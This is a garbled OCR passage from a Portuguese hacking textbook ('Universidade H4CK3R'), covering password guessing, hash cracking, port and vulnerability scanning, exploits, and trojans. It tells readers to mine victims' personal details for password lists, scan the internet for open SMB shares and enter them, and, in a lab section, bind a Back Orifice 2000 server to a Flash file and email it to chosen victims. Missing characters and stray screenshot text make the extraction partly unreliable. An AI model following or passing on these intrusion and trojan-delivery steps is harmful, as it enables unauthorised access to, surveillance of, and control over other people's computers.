elementos conseguidos por engenharia social, como o nome completo do usurio, de sua namorada, esposa ou fIlhos, seus passatempos, o modelo de seu carro novo ou seu endereo. Informaes como estas so utilssimas, efetivas em mais de 50% dos ataques - principalmente quando se tem um nmero razovel de contas vlidas, bastando descobrir apenas a senha. Se o candidato a invasor no souber pelo menos o login de uma conta vlida, quase certo que suas tentativas sero infrotferas. Sua lista de palavras deve conter nomes prprios do pas onde a mquina-alvo se encontra. Livros como Que nome darei ao meu fIlho? ajudam muito nessa hora, e conseguir edies desses livros em diversas lnguas um refInamento importante da tcnica. Procurar na lista telefnica ou em sua agenda comercial por nomes e anotaes de outras pessoa~ tambm uma boa idia.
I
1137 I
Vulnerabilidades I
I Universidade
H4CK3R I
Sempre tendo em mente que saber o login correto da vtima mais que meio caminho andado, aqui vo as sugestes para aplicar como senha nesse login: 1. Sempre tente todos os nomes e sobrenomes da vtima, um por vez. Se o login o primeiro nome, ou uma combinao de nomes, h muitas chances de que a senha seja algum dos outros nomes, seguidos ou no de nmeros seqenciais ou letras. _A,_B, _C ou -XYZ tambm so SufIXOS comuns (em maisculas ou minsculas). 2. Se disponveis, tente as palavras conseguidas por engenharia social: namorada/ esposa, filhos, carro, passatempo, posies sexuais, nomes dos chefes... Em seguida, tente os nomes prprios mais comuns copiados da agenda ou da lista telefnica. 3. Tambm uma boa idia tentar algo relativo ao sistema que est sendo invadido. Se a mquina em questo a nica que possui AutoCAD em toda a empresa, tente as senhas acad, autodesk, autocad ou cadcad. Se estiver em um terminal de mainframes IBM, tente ibmibm, X3270, bigblue, X25. Em um VAX, experimente vax, vms, digital ou compaq. 4. Usurios tambm so sensveis ao local onde trabalham. Experimente alguma coisa relativa cidade, bairro ou rua onde a empresa se encontra, o prprio nome da empresa ou seus produtos mais famosos. Em uma mquina da Telemar, por exemplo, poderiam ser tentadas as senhas DDDeh31, velox ou interurbano. s vezes, o funcionrio est desgostoso com a companhia. Sua senha nesses casos costuma ser ou uma palavra de baixo calo ou algum produto da concorrncia (exemplo: um funcionrio da Conectiva possui a senha windowsxp). 5. Por ltimo, deve-se, separadamente, tentar suas listas de palavras e senhas comuns. Nunca use listas com mais de cem palavras, pois voc ficaria exposto demais e facilmente detectvel, alm de modularizar e especializar o ataque. Um procedimento importante ao elaborar suas listas de palavras tentar pensar da mesma maneira que o usurio. Caso ele fuja das combinaes comuns (nome da esposa, ftlhos, etc.), sua senha ser o que primeiro lhe vier cabea, ou o nome de algum objeto que est em sua escrivaninha. No CD h diversos programas para brute force, a maioria com possibilidade de se usar em tanto dicionrios quanto combinaes seqenciais. No vamos recomendar nenhum aqui: teste-os e tire suas prprias concluses.
Unix ou Windows NT/2k/XP e capturou o arquivo de senhas do sistema.Obviamente essas senhas esto criptografadas, portanto, o arquivo pouco lhe ser til se no fosse uma outra classe de programas que todo cracker deve ter: os quebradores de senhas. Na maioria das vezes, invade-se o sistema por algum descuido do administrador, mas com um usurio cujos poderes so muito limitados. Roubando-se o arquivo de senhas, possvel entrar nas reas privativas dos outros usurios (den-
138
Vulnerabilidades
Ir
Universidade 1ano
tro da mesma mquina ou na rede) e capturar informaes teis para um ataque mais profundo, ou mesmo dados vitais, como senhas para outros servios, acesso a reas restritas da empresa ou nmeros de carto de crdito. possvel tambm conseguir a senha do administrador e reahnente "ownar" a mquina. Arquivos de senhas criptografadas geralmente possuem hashes ao lado dos logins. Hashes so uma seqncia de smbolos que, confrontados com a chave criptogrfica correta, revela a senha do usurio. No Windows NT (e, posteriormente, no Windows 2000 e no XP) as senhas so armazenadas no registro. Um exemplo de hash do Windows poderia ser: maedinah: 1001 :3592C2B9967FD3A4976EED543AC98756C3C3CFA2:8903 AD475E3478C45D 15B1749777DCFD3CC4457::: o primeiro campo , obviamente, o login do usurio. O segundo o ID nico do usurio no sistema. Sistemas da famlia WinNT possuem tal identificao da mesma forma que nos Unix, embora isso seja escondido dos usurios. Depois temos dois grandes nmeros, que representam as senhas criptografadas do sistema. A primeira a representao da senha para redes Microsoft antigas, compatveis com LAN Manager. Por isso mesmo, chamada de LM Hash. Na verdade, nem a senha que criptografada. Do contrrio, o sistema gera dois nmeros hexadecimais, e esses nmeros so criptografados pelo padro DES (Data Encryption Standard), usando como chave a senha, ajustada para 14 caracteres (caso o usurio tenha escolhido uma senha menor, so aplicados enchimentos). Cada metade da senha (sete caracteres) usada para criptografar um dos nmeros hexadecimais. Essa representao da senha muito fraca e facilmente decodificvel por hackers. O mtodo normalmente utilizado a diviso do hash em duas partes, e o hacker usa password crackers independentes em cada pedao, acelerando a quebra da senha. A seguinte a chamada representao NT da senha. Ao contrrio da anterior, essa representao muito mais dificil de decifrar. A senha , tambm, ajustada para 14 caracteres e depois criptografada trs vezes com o algoritmo de hashing MD-4.Apesar de muito melhor, ainda ineficiente se comparado aos sistemas Unix. Falta "sal". O conceito de "salting" (ou "salgar") interessante. Qualquer algoritmo de criptografia baseia-se na permuta de valores. Temperar o hashing com salt significa escolher aleatoriamente muitos dos valores para permuta, adicionando uma nova camada de desafio para a reverso do criptograma.A falta de "tempero" permite ao cracker usar apenas uma estimativa de hashing para a senha, diminuindo consideravelmente o tempo necessrio para descobri-Ia. Mesmo sem esse problema, o Windows NT/2k/XP possui outro inconveniente gritante: os hashes so legveis por qualquer usurio. No h como prevenir que crackers tenham acesso a eles. Alm disso, na maioria dos casos, a mesma senha blindada pelo hash NT est fracamente dissolvida no pseudo-hash LM. Desco1139 1
]Vulnerabilidades
I Universidade
H4CK3R I
brindo o segundo, provvel que o cracker tenha acesso ao sistema e rede. No Unix, as informaes de login so armazenadas no arquivo /etc/passwd. O contedo do arquivo passwd muito mais complexo (e completo) que o seu equivalente microsoftiano. nonodeogum: $1$YgQ8Da9T$WFS59jmV80kWAia2cjr8u1: Nono de Ogum:/home/nonodeogum:!bin!bash 500: 500:Pai
Da esquerda para a direita, separados por dois pontos, temos: nome de login, hash da senha, ID do usurio, ID do grupo a que ele pertence (tanto no WinNT quanto no Unix os usurios so organizados em grupos), nome completo do usurio (este o antigo G-COS field), localizao do diretrio pessoal (home) do usurio e shell de login. Observe o hash. muito mais complexo que o do WinNT. No h como o hacker descriptografar a senha porque ela "s de ida". A chave de criptografia aplicada quando o usurio cadastra a senha, ficando o resultado do hashing guardado no arquivo passwd.A chave, sendo de "mo nica", s pode ser descoberta por brute force. Quando o usurio Ioga-se no sistema, a senha do arquivo passwd no decifrada. Ao contrrio, a senha que ele fornece durante o login criptografada novamente e comparada com a que est gravada no arquivo. Se ambas "baterem", o usurio tem acesso ao sistema. Uma das caractersticas interessantes que nenhum algoritmo de criptografia gera um hash que contenha o caractere "*". Por isso mesmo, colocar um caractere desses no lugar da senha impede o login por aquela conta. A abordagem /etc/passwd tem um problema. Todos os usurios devem poder ler do arquivo, pois suas informaes vitais (UlD, GID, home e shell) esto nele. Isso quer dizer que os hashes de todos os usurios ficam desprotegidos e qualquer lammer com uma conta no sistema pode querer rodar um quebrador de senhas neles. Mesmo sendo difcil de quebrar, um arquivo que pode ser lido por todo mundo tambm pode ser copiado em disquete, levado para casa e quebrado sossegadamente por uma mquina comum, sem que ningum saiba. Para resolver esse problema, a maioria dos Unices de hoje utiliza o sombreamento de senhas ou shadow passwords. O shadow um arquivo com permisso de leitura apenas para o root. No /etc/passwd, no lugar da senha, temos um "*,, ou "x" para indicar que a senha est no arquivo shadow. Esta tcnica sozinha torna impossvel conseguir, como usurio normal, as senhas de outros usurios. E, como sabemos, na maioria dos ataques temos de conseguir acesso restrito primeiro para depois tentar acesso irrestrito. Um nico expediente coloca dois nveis de dificuldade a mais no caminho do cracker. O quebrador de senha mais conhecido para a famlia WinNT o LOphtCrack, uma ferramenta de uso muito fcil e capaz de quebrar os fracos hashes do Windows em pouco tempo. Atualmente est disponvel apenas em verso comercial custando US$ 350, mas pode-se conseguir o cdigo-fonte de uma ver140
Vulnerabilidades I [
Universidade 1ano
so mais antiga no endereo www.atstake.com/research/1c/download.html. Para Unix, a vedete o fabuloso JoOOthe Ripper. O software capaz de quebrar, com alguma ajuda da engenharia social, as senhas dos arquivos passwd e shadow (se o cracker conseguir acesso a eles) e, em conjuno com ferramentas de conectividade, pode capturar senhas criptografadas que trafegam em uma rede. Alm de Unix, h verses do programa para DOS, Win32, BeOS e OpenVMS e checagem de Kerberos AFSe pseudo-hashes LM do Windows NT!2k!XP.O JoOO the Ripper est disponvel em www.openwall.com/joOO/. O leitor deve ter notado que no mencionamos a famlia Win9x nesta seo sobre senhas. O motivo bem simples: no h segurana nesse ambiente. As senhas so gravadas em arquivos com o nome do usurio e a extenso PWL. Deve ser relativamente fcil quebrar as senhas embaralhadas nesses arquivos (recusamo-nos a usar a palavra "criptografadas" aqui), mas no h necessidade de tanto: basta apagar os arquivos e o Windows alegremente pede novas senhas... Entretanto, como os arquivos PWL podem guardar (e normalmente o fazem) a mesma senha da rede. quebr-Ios pode ser bem til! H milhares de quebradores de PEL no packetstormsecurity.nl.
Scanners
Scanners so programas utilizados para varrer os computadores em uma rede procura de vulnerabilidades. H portas abertas a ataques tanto em mquinas pessoais quanto em servidores de todos os tamanhos. Os scanners buscam sistemas que estejam desprotegidos e prontos para receber uma anlise minuciosa sobre sua segurana. A maioria dos scanners no foi desenvolvida com inteno de uso maligno. Mas como a rosa bonita e perfumada tambm possui espinhos, so utilizados pelos dois lados: os hackers os utilizam para o ataque, enquanto os administradores procuram as brechas para fazer as devidas correes. Existem scanners especficos, desenvolvidos por empresas, que do nfase segurana e que geralmente custam caro. Como um cracker no respeita nada, fatalmente tais scanners cairo em suas mos. Outros so criados por hackers mais experientes. Enquanto a vulnerabilidade que esses scanners exploram for segredo de cls, poucos tero acesso a eles. Depois que ficam obsoletos, so postos na rede para que os script kiddies possam fazer uso. Por isso, bom lembrar que scanners encontrados facilmente na Internet podem no ser mais to eficientes ou so mesmo completamente inteis. Podemos dividir os scanners em dois tipos: o scanner de portas TCPjIP abertas (ou portscanner) e o scanner de vulnerabilidades conhecidas.
Portscanners
Toda mquina com conectividade TCPjIP possui, em teoria, mais de 128 mil pontos vulnerveis. Cada servio de rede que estiver disponvel em uma determinada mquina uma porta de entrada em potencial - como vimos no captu1141 1
] Vulnerabilidades
I Universidade
H4CK3R ,
10 sobre Unix. Em Redes I, aprendemos que cada um desses servios "escuta" a rede por meio de uma porta representada por um nmero, espera de conexes. Como so 65.536 portas para o protocolo TDP e 65.536 portas para o protocolo UDp, temos a uma verdadeira legio de hidras. Por exemplo, se a mquina for um servidor Web, bem provvel que a porta TCP 80 esteja aberta, para que outros computadores possam acessar as pginas HTML. Outro exemplo: uma mquina Windows que esteja com o compartilhamento ("share") de arquivos ligado "escuta" as portas 137, 139 e 455 espera de outras mquinas Windows que queiram ler os arquivos compartilhados. Esses nmeros esto normatizados na RFC17004. Os portscanners verificam as portas TCP/lP abertas de um sistema. Seu objetivo listar os servios de rede TCP/lP disponveis, fazendo com que respondam quando consultados. Com os resultados fornecidos pelo portscanner e o conhecimento da RFC1700, o hacker pode determinar quais servios esto dando sopa e aplicar neles os exploits pertinentes. Existem tambm os stealth port scanners, que utilizam tcnicas de no-conexo ou conexo incompleta para no serem detectados nem sempre com sucesso - como se tivessem um sistema de camuflagem. Os administradores tm de utilizar ferramentas especficas para detect-los. Quase todas as tcnicas de portscanning valem-se dos sinais (ou flags) TCp, UDP ou ICMP trocados entre os programas que querem se conectar. Apenas para referncia rpida, os sinais so estes:
PSH (push) Um tipo de "vlvula de descarga", acelera a transmisso para poder finaliz-Ia SYN (synchronize) Tentativa de sincronizao entre portas ACK(acknowledge) - Indica que os pacotes anteriores foram aceitos no destino RST (reset) - Interrompe a conexo,devido aerros ou "queda de linha" FIN (finish) - Finalizadorde conexo, usado no fim da transmisso (no h mais dados)
URG (urgent)
- Sinalizador de urgnda
A partir da anlise desses sinais, os scanners retiram informaes teis sobre os sistemas e os comparam com padres predefinidos. O resultado disso passado para o hacker, que interpreta os resultados baseado em sua experincia e conhecimento e decide quais exploits usar. Escovaremos mais bits sobre hadshakeTCP/lP e funcionamento de scanners nos captulos seguintes. Se tudo at aqui lhe pareceu confuso, no prossiga. Releia o captulo Redes I, e alguns dos tutoriais sobre TCP/lP includos no CD. Recomendamos ainda os excelentes livros de Andrew Tannembaum e do Prof. Gabriel Torres, Redes de Computadores. Apesar do mesmo nome, so dois livros diferentes. A Internet tambm est cheia de tutoriais sobre TCP/lP. Use seu mecanismo de busca favorito e divirta-se!
4 Request for Comments so documentos com recomendaes para implementao de servios e normas para a Internet e redes em geral. Todos eles podem ser consultados em www.ietforv./rfc.html.
1142 1 Vulnerabilidades Ir
Universidade
1ano
As portas 21,22,25 e 110 podem estar abertas para uma possvel invaso, podem estar sob a vigilncia de um administrador e podem realmente ser seguras. A porta 110 oferece o servio POP3. por onde voc se conecta para baixar seus e-mails. Ora, essa porta TEM de estar aberta (nos servidores de email, obviamente), de outra forma ningum poderia ler correspondncia eletrnica. Portas abertas no so sinnimo de insegurana. O problema so as portas aberta, cujos programas que as "escutam" possuem falhas de segurana.
1143
I
Vulnerabilidades
I Universidade
H4CK3R I
mais conhecido da face da terra o nmap (www.insecure.org/ nmapf). Desenvolvido originalmente para Unix, possui verses para muitos sistemas operacionais, incluindo o Windows. Concebido para a linha de comando, possui diversos frontends grficos, como o NmapWin para Windows (www.nmapwin.org) e o nmapfe para Unix (incluso no pacote do nmap). Extremamente flexvel e poderoso, o nmap e vrios de seus frontends para Windows, Unix e Mac esto includos no CD.
o portscanner
Scanner de vulnerabilidade
Ns utilizamos os portscans para verificar os servios ativos em um dado sistema. Uma vez determinados esses servios, entra em cena um outro tipo de scanner: o de vulnerabilidades. Basicamente, a idia do scanner de vulnerabilidade , atravs de uma lista de falhas conhecidas, checar se o sistema est ou no executando um servio com problemas. Estes scanners facilitam sobremaneira o trabalho do invasor, automatizando o processo de conexo a cada um dos servios listados pelo portscan e a verificao de fraquezas. Sendo automtico, poupa ao invasor dias de trabalho, pois pode checar sozinho dezenas ou mesmo centenas de vulnerabilidades sem a interveno do black-hat. Um bom scanner de vulnerabilidade deve verificar os seguintes itens: ~ Erros comuns de configurao: administradores de sistema inaptos e usurios leigos deixam, por incompetncia, vrias portas abertas e fraquezas desprotegidas em seus sistemas. ~ Configuraes e senhas-padro: no h nada de que um hacker goste mais do que um administrador de sistemas que instala softwares e os deixa com as configuraes de fbrica. Ri-se de babar ao perceber servidores com usurios e senhas-padro (do tipo usurio: root senha:root ou usurio:admin senha:master) ou com diversos servios inseguros desnecessariamente ativados. ~ Combinaes bvias de usurio e senha: outro problema so as senhas bvias. Usurios comuns j possuem a tendncia de colocar uma senha fcil de lembrar (o nome da esposa, por exemplo). A situao piora quando usam combinaes de nomes notoriamente pblicos. Exemplos de pares usurio/senha fracos: fabio/junior, wanderley!luxemburgo, alice/cooper, carla/perez, george/ walkerbush. Outro problema so senhas de palavras do dicionrio: h quebradores de senha com listas de palavras comuns. Um estudo feito em 1998 por uma empresa norte-americana mostrou que 82% dos funcionrios utilizavam, como senha, alguma posio sexual ou o nome do chefe modificado de forma pejorativa. ~ Vulnerabilidades divulgadas: sempre que uma falha de segurana divulgada, h uma corrida dos desenvolvedores de software para san-Ias. Mas tambm h uma outra competio: a dos hackers que querem chegar aos sistemas vulnerveis antes de serem consertados. Um scanner de vulnerabilidades pode, por exemplo, descobrir que sua verso 11441
Vulnerabilidades I [
Universidade 1 ano
do servidor de SMTPsendmail muito antiga e possui o famoso sendmail-bug. Ou que voc ainda est usando o MSN Messenger 4.6 e, portanto, emprega controles ActiveX vulnerveis. Ambas so falhas muito antigas, mas - quem se importa? - se voc no deu ateno aos conselhos de seu guru de segurana favorito e no atualizou seus sistemas, o problema todo seu. Esses so apenas dois exemplos das centenas de testes que um nico scanner de vulnerabilidades pode fazer por voc. Scanners mais modernos j incluem, em um mesmo software, portscans, vulnscans e mapeamento de redes. Um exemplo disso o excelente Nessus (www.nessus.org). que ser abordado nos captulos finais.
Exploits
Exploits so scripts e programas designados para explorao de vulnerabilidades em sistemas. Assim como os scanners, eles podem ser usados tanto por administradores para testar as falhas de segurana em seus servidores quanto pelos hackers que os utilizam para invaso e aquisio de informaes. H vrios tipos de exploits e cada um possui uma forma diversa de aplicao. Para alguns deles o hacker precisa ter acesso ao Shell da mquina-alvo. Isso pode ser conseguido por meio de um cavalo de tria executado pela vtima em seu sistema. Tal trojan abre uma porta de comunicao (sim, uma porta TCP/lP, com nmero determinado e um protocolo) e permite que o invasor tenha total controle sobre a mquina, o que inclui instalao de programas e, portanto, a aplicao de qualquer exploit. Note que, neste caso, j houve uma pequena invaso: o exploit permite quebrar outros nveis de segurana e, assim, obter um acesso mais profundo. Outros exploits servem justamente para conseguir o acesso a um shell e podem ser aplicados atravs de um site que contenha um cdigo malicioso escondido. E-mails em formato HTMLtambm so vetores desse tipo de cdigo. Normalmente, o que esses exploits fazem gerar um estouro de pilha (buffer overflow) e, com isso, confundir a mquina-alvo, fazendo-a abortar o programa em execuo e devolver uma linha de comando. E, por ora, basta saber que todos os programas possuem uma rea de memria (ou buffer) para trocar dados com outros programas ou para interagir com o usurio. Essa rea de memria tem um tamanho limitado, e programas mal escritos comportam-se de forma estranha toda vez que o buffer fica cheio. O prximo dado que tentar entrar no buffer e no conseguir gerar instabilidades no programa e poder paralis-Io. Um exemplo prtico: descobre-se no endereo vitima.com.br (ateno lammers: o endereo fictcio) um sistema Unix rodando uma verso vulnervel do BIND, um servidor de DNS. Um exploit para essa verso de BIND chamado bindxplt encontrado no site Rootshell, que permite a execuo de comandos arbitrrios pelo daemon no caractere seguinte ao ltimo que cabia no buffer. Lembrando que ele s roda com privilgios de root, executa-se, na mquina do hacker, o comando:
1145
1
Vulnerabilidades
I Universidade
H4CK3R
Como por mgica, uma janela de X-Terminal se abre na mquina do hacker, que possui o IP 200.xxx.yyy.6. Dentro dessa janela, o prompt de root da mquina vitima.com.br. a glria! H milhares de exploits que podem ser utilizados. Poderamos citar alguns aqui, mas a quantidade realmente assustadora. Sugerimos parar a leitura do livro neste ponto e navegar por cada um dos sites citados abaixo. Tome conhecimento de como cada site funciona, baixe alguns exploits de cada um e tente aplic-Ios em sistemas vulnerveis.
146
Vulnerabilidades I [
Universidade 1 ano
A difuso desse tipo de programa d-se por contgio. Os trojans, em sua maioria, so desenvolvidos e distribudos como vrus, anexados em mensagens de e-mail ou em disquetes promscuos, e muitas vezes so escondidos em arquivos inocentes, como imagens, apresentaes em Flash e joguinhos. Depois que a prpria vtima instalou o trojan, o computador infectado comea a funcionar como um servidor. Se h um servidor, h um cliente para se conectar, que est em poder do hacker.A conexo praticamente imperceptvel para o usurio leigo, que, ao se conectar Internet, est sujeito ao ataque. Dois dos trojans mais prticos da atualidade so o Netbus e o Back Orifice. Ambos ocupam pouco espao em disco (o BO tem apenas 120 KB) e podem passar despercebidos, pois h a possibilidade de camuflar o executvel escondendo-o em outro programa ou arquivo. Aps a instalao, o trojan apaga seus rastros e torna-se ativo, aguardando apenas que algum se conecte ao computador infectado. Como qualquer outro trojan, o BO e o Netbus so constitudos de dois arquivos: o cliente e o servidor. Um dos principais problemas de ambos que os servidores esto restritos famlia Windows 9.x, embora existam clientes BO para Windows e Unix. Entre as funes comuns a ambos, podemos destacar: ~ Fornecer um shell para o cliente com acesso irrestrito; ~ Controlar todos os dispositivos de hardware da mquina; ~ Gravar uma imagem da tela do computador invadido; ~ Fazer exames da rede, podendo obter senhas e outras informaes; ~ Gravar um arquivo contendo informaes sobre tudo que foi teclado no micro; ~ Possibilitar a abertura de janelas DOS remotamente. O BO e o Netbus so dois trojans muito visados. Todos os antivrus consideram-nos como ameaa e impedem que sejam instalados no computador-destino. Alis, um bom programa antivtrUs barra mais de 90% dos trojans conhecidos. Obviamente h muitos outros por a que nunca conhecero outro mestre alm de seu criador e, portanto, sero imunes maioria dos antivrus. Todo cuidado nesses casos pouco. Ambos esto includos no CD, e recomendamos que nossa rede simples (Laboratrio de Redes I) seja usada para test-Ios. Leia a documentao de ambos, familiarize-se com eles e tente controlar outras mquinas. A criao de bons scanners e exploits demanda conhecimentos em programao e TCP/IP.Para consegui-Ios, a anlise de cdigos alheios um bom ponto de partida. Nos CDs, h diversos exemplos em cdigo-fonte de scanners, exploits e cavalos de tria. Dessenferruje seus conhecimentos em Delphy /Kylix, PerI ou C/C++ e v em frente. No perodo de dois ou trs meses ser possvel escrever seu prprio scanner em sua linguagem favorita.
11471
] Vulnerabilidades
I Universidade
H4CK3R I
148
Vulnerabilidades I [
Universidade 1 ano
Usurios corporativos costumam compartilhar seus sistemas de arquivos em sua rede. Ingnuos, ativam essa opo tambm em casa, esquecendo-se de que esto diretamente conectados Internet. Com isso, abrem as portas para que os hackers faam o que bem quiserem com seus arquivos. Uma conexo denominada "null session" (sem usurio e senha) pode pr em risco informaes pertinentes ao sistema e chaves de registro. Scanners de vulnerabilidades (como o j citado Nessus) normalmente procuram por diversas portas, incluindo as portas 135 (TCP e UDP), 137 (UDP), 138 (UDP), 139 (TCP) e 445 (TCP e UDP). Caso pelo menos duas destas portas estejam (ou aparentem estar) ativas, o computador apresenta-se vulnervel conexo por compartilhamento. O procedimento bem simples. Primeiro, use o Nessus para procurar, na Internet, mquinas com essas portas abertas. Anote todas que encontrar. No Windows, chame o Internet Explorer e coloque o nmero IP da mquina vulnervel, no formato LAN Manager: \\IP.DA.VTIMA.AQUI. Se no houver senha, os compartilhamentos sero mostrados - basta c1icar neles. Caso haja, um bom quebrador de senhas por brute force dar conta do recado.
J171:3
~!iona:;'
Caso esteja em uma mquina Linux, podem-se usar os comandos samba-c1ients para tentar a conexo, da seguinte forma: $ smbclient -L IP.DA.VTIMA.AQUI
do pacote
Provavelmente sero pedidas senhas para mostrar os compartilhamentos. Novamente deve-se recorrer aos quebradores brute force para descobrir as senhas.
11491
I
Vulnerabilidades
I Universidade
H4CK3R I
Se a interface grfica KDE 3 estiver disponvel, pode-se usar o Konqueror. Escreva na barra de endereos o IP da vtima da seguinte forma: smb:/ / IP.DA.VTIMA.AQUI/. OS compartilhamentos devem ser exibidos. Uma curiosidade sobre esse IJiJIIilIiI furo de segurana que originalli! mente ele no existia! O ProtocoJ lo NetBEUI (antecessor do 5MB/ CIFS) permitia o compartilhamento de arquivos nas redes LAN Manager, Windows for I/oc jUeasa fornece! Workgroups e nos primeiros um usurio e uma I!I!n". Wmdows NT.S que o NetBEUI no era rotevel e, portanto, era impossvel que grandes redes IP [mbert<> tivessem conectividade total por Senha; meio dele. Para resolver isso, a Microsoft estendeu a imp1ementao do NetBEUI. Batizada de 5MB, a nova tecnologia permitia o "empacotamento" dos pacotes NetBEUI no protocolo TCP/IP.A conexo entre as mquinas era feita pelas portas 137 e 139. Entretanto, "tunelar" o NetBEUI pelo IP permitia que o pacote fosse rotevel no s pela rede corporativa mas tambm pela Internet. Nesses casos, h duas opes para as empresas: isolar completamente a rede interna da Internet ou no compartilhar nada, nunca. J os usurios domsticos normalmente no tm o que compartilhar (pois no pertencem a rede alguma) e devem manter esse recurso desligado.
,1713iR<>bet1! f\ume
dI> 1tW<\1iU:
150
Vulnerabilidades
Ir
Universidade 1 ano
ro de pilha ou programas comuns com poderes de root. Imagine uma estao de trabalho Linux com os servios de Finger, FTP e Telnet habilitados. O usurio no precisa deles - porque a mquina dele nem um servidor - e sequer sabe que os servios esto ativados. Com o comando fmger, um hacker obtm a lista de usurios cadastrados no sistema. De posse dos nomes de login por brute force ou dicionrios, consegue entrar em uma conta de Telnet e, uma vez dentro, pode explorar o sistema vontade. A correo para esta falha simples: desligue tudo o que no for usar.
Laboratrio de
Vulnerabilidades I
A principal finalidade dos laboratrios a prtica de alguns procedimentos considerados essenciais para a rotina do hacker.Administradores de sistema devem observlos cuidadosamente, pois devem estar sempre atentos s tcnicas usadas em invases. Nesse primeiro laboratrio, vamos manter nosso foco na invaso de micros domsticos - sim, sim, coisa de lammer. Mas temos de comear de alguma forma, no acha? E qual seria a melhor maneira para atingir esse objetivo? A resposta est entre artimanhas mais antigas conhecidas pelo homem: O Cavalo de Tria! Exatamente isso! Como na histria, um presente usado como artificio para a invaso. Vamos utilizar o mtodo clssico de envio de trojans para as vtimas. Na verdade, precisaremos de trs arquivos para cumprir a tarefa: o servidor, que vai controlar o computador invadido, um programa joiner (usado para unir arquivos) e o cliente, instalado na mquina do hacker, para controlar o servidor. Utilizaremos o Back Orifice 2000, a novssima verso de um dos trojans mais utilizados no mundo. Como j foi comentado anteriormente o programa dividido basicamente em duas partes: cliente e servidor. Para instalar o servidor, necessrio que a vtima rode o executvel em seu computador sem perceber o que est fazendo. Mas como isso possvel? Simples, vamos utilizar um pequeno truque de engenharia social: faremos uso da curiosidade. Em nosso exemplo, uma imagem carregando o servidor do B02k em suas entranhas. Para camuflar nosso agente, empregaremos o ]oiner, um pequeno programa que
1151 I
1
Vulnerabilidades
I Universidade
H4CK3R I
possibilita a unio de dois arquivos quaisquer. Um deles obrigatoriamente tem de ser um executvel, que ser aberto antes do segundo. Depois de terminado, o controle passado para o segundo arquivo; se for tambm um binrio ser executado e, caso seja um arquivo comum, ser aberto no aplicativo correspondente. Ento, aos troianos! Recomendamos o Back Orifice 2000, um dos mais conhecidos e prticos da Web, mas voc pode escolher entre uma coleo enorme. Existem trojans para praticamente todas as plataformas!
Configurando o servidor
o servidor do BO precisa ser preparado antes da infeco, pois depende de plug-ins para cada uma das "maldades" a serem feitas. Outro detalhe: necessrio informar ao programa como se comunicar com o hacker.As opes so: por e-mail, IRC e mesmo ICQ. GJ:q.<:1 A configurao simples. Rode o B02K !:B02K Smer ConHgurat;on .. jij Configurator. Na tela que se apresenta, preencha seus dados, a porta na qual o servidor deve "escutar" e a forma como ele deve contact-Io para informar que est on-line. H vrias opes, entre elas ICQ, IRC e mesmo e-mail. Existe ainda a P ossi- Ia
bilidade de defInir senhas para a conexo, impedindo assim que outros hackers usem o seu BO. Nada que um brute force no resolva, entretanto.
FiI,T""',,
TCPIO UDPIO Buili',
A parte mais importante da configu- PluI Na ~ rao do servidor a defInio dos o!!obo_peepdll 0.7 10 B02K RemoleCon,ole Mana, Remove I plug-ins que sero usados. Cada uma ~ E,hac'ToF;le...I das tarefas bsicas - controle do computador, navegao pelo sistema de arquivos, captura da imagem da tela e criptografla na comunicao, entre ou5e,V~ue tros - de responsabilidade de um plugin especfico. Leiaa documentao (e o tutorial simples e efIcaz incluso no pacote) para mais detalhes sobre os plug-ins.
J
Juntando
as coisas
Uma vez configurado o servidor, resta-nos unir o arquivo boserve.exe gerado pelo configurador com o "cavalo" - em nosso caso, uma animao em Flash. Para tanto, voc deve ativar o ]oiner, que pedir imediatamente o nome do arquivo executvel (no caso, o servidor) e nossa isca (a animao Flash). Note que h uma opo caso o usurio queira ser notillcado se algum abrir o arquivo.
1152 1 Vulnerabilidades I[
Universidade 1ano
Finalizado esse processo, voc obter um arquivo hbrido que poder ser instalado em qualquer mquina. Algo assim:
~-'EEP.WAV
I@]
I@]
INmWAV JOINEA1
lEI
~
~
Iml,"D""m'nl ]9KB
JOINER.EXE
A grande maioria dos joiners funciona da mesma I@] ERRORVlAV forma. Alguns apenas em modo texto, mas em geral as sentenas de operao limitam-se aos seguintes I@] ICQ.WAV comandos (em DOS): I@] JOIN.WAV C:\ > joiner (nome do arquivo servidor) (nome JOINER.2 do arquivo isca) ,2 II'!'I'I '.''1",., . WlI 225 ~8 C:\ > ren join.f1l goggles.exe Agora s escolher as pessoas que vo receber o servidor e mand-Iopor e-mailscom assuntos inocentes.
"""
Consideraces finais
I
neste captulo, apenas arranhamos a superfcie - e no muito. a parar a leitura do livro, visitar todos os sites aqui indicados, todas as ferramentas mostradas e mesmo tentar invadir alguns sempre com autorizao da vtima. Demore nesses procedimenvoc mesmo os meandros desse labirinto escuro.
1153 I
] Vulnerabilidades
Reei
Captulo
II
'Minha terra tem campos de futebol onde cadveres amanhecem emborcados pra atrapalhar os jogos. Tem uma pedrinha cor-de-bile que faz 'tuim' na cabea da gente. Tem tambm muros de bloco (sem pintura, c/aro, que tinta a maior frescura quando falta mistura/, onde pousam cacos de vIdropra espantar malaco. Minha terra tem HK,ARl5, M21, 45 e 38 (na minha terra, 32 uma piada/. As sirenes que aqui apitam, apitam de repente e sem hora marcada. Elas no so mais as das fbricas, que fecharam. So mesmo dos cambures, que vm fazer aleijados, trazer tranqilidade e aflio ': Quinze cenas de descobrimento de Brasis, 1999, Fernando Bonassi
I Universidade
H4CK3R I
TCP!IP: O incio
No captulo anterior sobre redes, tratamos dos aspectos mais bsicos e desenvolvemos um breve estudo sobre alguns dos protocolos mais utilizados. Tal estudo serviu para que pudssemos, posteriormente, conhecer algumas tcnicas e procedimentos simples de invaso e fazer experimentos com algumas ferramentas. Com o conjunto de informaes dos captulos Redes I e Vulnerabilidades I, adicionado a um pouco de pesquisa nos sites e livros indicados, qualquer um j pode considerar-se um script kiddie e levar a cabo a maioria dos procedimentos simples de "owning" de computadores domsticos. Agora a conversa um pouco diferente. Veremos mais adiante (em Vulnerabilidades 11 e, posteriormente, nos captulos finais) mtodos mais complexos de ataque a sites, empresas e redes remotas, todos por intermdio da Internet. Como a Grande Rede baseada na famlia de protocolos TCP/lP (ou seria o contrrio? O TCP/lP foi criado por causa da Internet, afinal de contas...), ser ela a vedete desta parte do livro. Mas seremos "malvados" com o TCP/lP. A maioria dos livros mostra o protocolo de forma acadmica e bem-comportada. Em nossos estudos, veremos como podemos desfigurar, fraturar e abusar dele: um verdadeiro estupro digital! A palavra forte, mas ver o estimado leitor que se aplica perfeitamente ao contexto em que empregada. Para os hackers, a tecnologia est a para ser estendida. Ou deturpada... Este captulo nunca substituir qualquer um dos excelentes livros e artigos especialmente escritos para revelar todos os meandros e facetas do protocolo TCP/lP e 